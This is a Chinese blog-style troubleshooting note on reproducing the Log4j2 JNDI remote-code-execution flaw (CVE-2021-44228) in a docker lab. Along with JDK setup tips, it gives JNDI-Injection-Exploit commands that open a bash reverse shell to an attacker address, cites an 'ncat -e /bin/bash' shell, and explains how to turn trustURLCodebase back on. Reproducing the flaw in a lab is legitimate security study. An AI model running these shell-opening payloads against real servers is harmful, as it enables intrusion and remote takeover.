一、环境搭建
Tips: 本文出自一个Java废物,如果不对或者不足的地方欢迎大佬提出来或补充
相信很多大佬在复现的时候,多多少少都会遇到很多问题,这里将自己遇到的问题总结一下
1、推荐本地docker的方式搭建
docker pull vulfocus/log4j2-rce-2021-12-09:latest

2、使用本地环境
推荐使用https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce进行搭建,方便快捷

二、GETSHELL遇到的问题
1、关于提示RFC 7230的问题
Content-Type: application/x-www-form-urlencoded
# 需要在请求头中加上Content-Type

2、高版本的Macos如何安装低版本的JDK
set theDMG to choose file with prompt "Please select javaforosx.dmg:" of type {"dmg"}
do shell script "hdiutil mount " & quoted form of POSIX path of theDMG
do shell script "pkgutil --expand /Volumes/Java\\ for\\ macOS\\ 2017-001/JavaForOSX.pkg ~/tmp"
do shell script "hdiutil unmount /Volumes/Java\\ for\\ macOS\\ 2017-001/"
do shell script "sed -i '' 's/return false/return true/g' ~/tmp/Distribution"
do shell script "pkgutil --flatten ~/tmp ~/Desktop/Java.pkg"
do shell script "rm -rf ~/tmp"
display dialog "Modified Java.pkg saved on desktop" buttons {"Ok"}
然后桌面找到Java.pkg即可



然后安装在/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home目录下,然后vim一下配置,增加快捷命令


最后再source一下

这样就可以动态的切换jdk版本了

3、关于报Reference Class Name: foo的解决办法
因为在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false
主要存在版本的限制
服务器上的版本太高的问题

1、方法一
需要加上以下代码即可复现
因为在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

2、方法二
对于这种

可以使用payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/asd" -A 192.168.124.2
网上很多复现教程都没有说,在这里需要选择什么,这里需要选择rmi也就是

随后


服务器上同理
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64}|{base64,-d}|{bash,-i}" -A xxxxx




4、关于MacOs下复现报错java.io.IOException: Cannot run program "ncat -e /bin/bash xxx": error=2, No such file or directory
当前JDK版本


这里主要是因为POC的问题,这里需要构造一个类似于字符串的一个序列一样,不能直接写完整的命令
错误的写法

正确的写法

随后运行,成功反弹Shell


弹计算器

三、使用的工具
https://github.com/welk1n/JNDI-Injection-Exploit
https://github.com/RandomRobbieBF/marshalsec-jar
四、参考
https://www.cnblogs.com/zpchcbd/p/14941783.html
https://www.jianshu.com/p/95dfdcfb952a
https://stackoverflow.com/questions/59409811/illegalargumentexception-the-http-header-line-does-not-conform-to-rfc-7230-when
http://www.hackdig.com/04/hack-81555.htm
https://coderedirect.com/questions/556419/cannot-run-program-error-2-no-such-file-or-directory-java
https://xz.aliyun.com/t/6633#toc-5